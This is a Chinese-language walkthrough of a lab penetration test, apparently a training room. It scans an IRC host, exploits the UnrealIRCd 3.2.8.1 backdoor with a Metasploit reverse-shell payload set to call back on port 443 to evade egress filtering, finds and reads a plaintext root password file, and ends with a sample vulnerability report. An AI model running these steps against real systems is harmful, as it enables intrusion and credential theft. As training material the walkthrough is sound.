- 枚举法: 从零开始。你知道什么,你需要找出什么?
- 漏洞分析: 分析枚举结果,并将各个环节联系起来,找出潜在的弱点。
- 初始访问: 选择你的攻击方式并执行;在目标身上站稳脚跟。
- 权限提升: 你已经进入系统,但还没结束。再次枚举,这次从内部开始,找到向上攀升的方法。
- 报告: 如果无法将其传达出来,上述一切都无关紧要。这才是真正的交付成果。
枚举
在着手使用任何漏洞利用工具或尝试破解密码之前,你必须先弄清楚自己面对的是什么。信息枚举是每一次渗透测试的基石;若跳过这一步,你的行动便无异于盲目猜测。其目标很简单:在采取任何行动之前,尽可能多地了解目标信息。哪些端口处于开放状态?运行着哪些服务?这些服务具体是什么版本? 你此刻收集的每一项信息,都将直接影响后续的决策。仓促进行枚举往往会导致错失良机;在实际的渗透测试项目中,这可能决定了某个发现是作为重要漏洞被记录,还是仅仅沦为报告中无关紧要的注脚。
用以下方式扫描目标:
nmap -sSCV -p- -oN scan 10.48.158.144
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c7:9a:09:2c:b0:9d:f6:95:bf:26:c0:d3:29:79:c1:f2 (ECDSA)
|_ 256 12:a0:7c:89:c8:68:7d:ba:06:96:5f:02:c1:59:91:39 (ED25519)
6667/tcp open irc UnrealIRCd
| irc-info:
| users: 1
| servers: 1
| lusers: 1
| lservers: 0
| server: irc.pentest-target.thm
| version: Unreal3.2.8.1. irc.pentest-target.thm
| uptime: 0 days, 0:06:39
| source ident: nmap
| source host: ip-10-48-84-113.ap-south-1.compute.internal
|_ error: Closing Link: zrlivpbwu[ip-10-48-84-113.ap-south-1.compute.internal] (Quit: zrlivpbwu)
Service Info: Host: irc.pentest-target.thm; OS: Linux; CPE: cpe:/o:linux:linux_kernel
漏洞分析
你已经获得了扫描结果。接下来该做什么?
不要把输出结果当成一堆文字。开始提问。这个服务版本是否过时?是否存在已知的漏洞利用?是否存在配置错误? 漏洞分析的本质就是利用枚举结果,然后问自己:“这里可能出现什么问题?”
你的 Nmap 输出结果显示有两个开放端口。最简单的方法是用 Google 搜索它们的版本以及关键词“漏洞利用”。
例如,搜索“OpenSSH 9.6p1 漏洞利用”可能会得到一些理论上的或特定于某个发行版的漏洞利用结果,但不会找到任何实际可用的漏洞。因此,这很可能是一条死路。
如果你熟悉 Kali 的软件包,除了 Google 搜索之外,你还可以使用 searchsploit 工具来查找漏洞利用。searchsploit 是一个命令行工具,它允许你直接从终端搜索 Exploit-DB 的离线数据库,该数据库包含公开的漏洞利用和漏洞披露信息。
searchsploit UnrealIRCd
------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service | windows/dos/27407.pl
------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
初始访问
此时,你应该已经找到了针对 UnrealIRCd 的漏洞利用代码,该代码利用了软件中预留的一个后门。
我们要使用的这个漏洞利用方案有一个优点:它对应着一个现成的 Metasploit 模块。这使得利用过程比手动修改脚本要简单得多。先启动 Metasploit。
msfconsole
接下来,搜索我们需要的模块。
search unrealircd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent Yes UnrealIRCD 3.2.8.1 Backdoor Command Execution
我们可以利用这份列表中的建议攻击手段,针对目标实施攻击。
use 0
首先,我们需要了解为了运行此漏洞利用程序,必须进行哪些配置。
show options
唯一尚未设置的必需参数是RHOSTS
set RHOSTS 10.48.158.144
还需要一个Payload 才能运行此漏洞利用程序。使用以下命令列出可用的Payload
show payloads
由于我们对目标及其已安装的软件知之甚少,最稳妥的做法是使用通用的 Unix 反向连接 Payload(Unix reverse generic payload)。
set payload cmd/unix/reverse
再次运行show options,就会发现此载荷需要 LHOST 和 LPORT
set LHOST 10.48.84.113
set LPORT 443
因为很多环境会对出站连接做防火墙/代理限制,
4444这种“非标准端口”更容易被拦截,而443通常被允许出站(看起来像 HTTPS 流量),因此反向 shell 更容易连回来(另外也更不容易和别人的4444监听端口冲突)。
现在一切准备就绪,使用 exploit命令对目标机器发起攻击
注意:刚获取反向 Shell 时,它通常是一个功能受限的“哑”Shell(dumb shell),缺乏完整的终端特性——例如不支持作业控制(job control)或 Tab 键自动补全;更重要的是,像
su或sudo这样的命令无法正常运行,因为它们需要交互式 TTY 才能安全地读取密码。将 Shell 升级为完整的 TTY 会话,能把基础的反向 Shell 转换为功能完备的交互式终端会话;这种升级之所以必要,是因为su和sudo等命令需要真实的终端(TTY)来安全地提示并读取用户输入的密码。不过,正如后文所示,在本实验场景中并不需要进行此项操作。
权限提升
既然我们已经控制了目标机器,接下来就需要寻找提升权限的方法。
先来寻找一些可能有助于我们进行权限提升尝试的文件
find / -name password* 2>/dev/null
/boot/grub/i386-pc/password.mod
/boot/grub/i386-pc/password_pbkdf2.mod
/snap/core20/2379/var/lib/pam/password
/snap/core/17272/var/lib/pam/password
/snap/core18/2999/var/lib/pam/password
/usr/lib/grub/i386-pc/password.mod
/usr/lib/grub/i386-pc/password_pbkdf2.mod
/etc/password.txt
/var/lib/pam/password
/var/cache/debconf/passwords.dat
此命令将尝试查找目标系统上所有文件名中包含单词“password”的文件,2>/dev/null并会抑制错误。
使用 cat /etc/password.txt 来读取该文件。幸运的是,其中似乎包含了 root 用户的凭据。由于我们当前并非处于交互式终端会话中,因此无法使用 su 命令来输入密码。不过,根据之前的外部枚举结果,我们已知该主机上运行着 SSH 服务。打开一个新的终端窗口,并执行以下命令:
ssh root@10.48.158.144
报告
首先,请务必记住:客户对你工作的全部认知都源于你的报告。即便你进行了一次极其精彩的渗透测试——比如成功控制了银行的所有 ATM 并获取了域管理员权限——但如果报告写得很糟糕,那么整个渗透测试也会被视为失败。
其次,虽然每位专业人员都有自己撰写报告的风格,但一些通用要素是必不可少的:
- 封面:包含标题、你的姓名、电子邮件地址以及版本控制信息。
- 目录(可选)。
- 执行摘要:面向委托此次测试的管理人员,用非技术性语言阐述测试成果。
- 技术摘要:面向工程经理,帮助他们理解安全影响并据此确定修复优先级(可选)。
- 漏洞汇总表:按严重程度排序,面向管理人员和工程师,同样用于确定修复优先级。
- 详细利用过程:针对负责修复漏洞的工程师,详细说明每个漏洞及其影响,展示利用步骤和验证证据,并提供缓解措施建议。
以下示例展示了针对我们在本场景中发现的提权途径所撰写的漏洞报告。
标题:Root 密码以明文形式存储
严重程度:严重 (Critical)
描述:发现 root 用户的密码以明文形式存储在 /etc/password.txt 文件中。该文件可被低权限用户读取,这意味着任何拥有 shell 访问权限的用户都能获取 root 凭据并完全攻陷系统。
利用步骤:
在目标系统上获取低权限 shell。
使用 cat /etc/password.txt 读取 /etc/password.txt 的内容。
使用发现的 root 密码通过 ssh root@IP 提升权限。
建议:立即删除该明文密码文件并更改 root 密码。凭据绝不应以明文形式存储在文件系统中。实施密钥管理解决方案,或使用配置得当的系统身份验证机制(例如采用强哈希算法的 /etc/shadow)。此外,应遵循最小权限原则,以限制文件访问权限。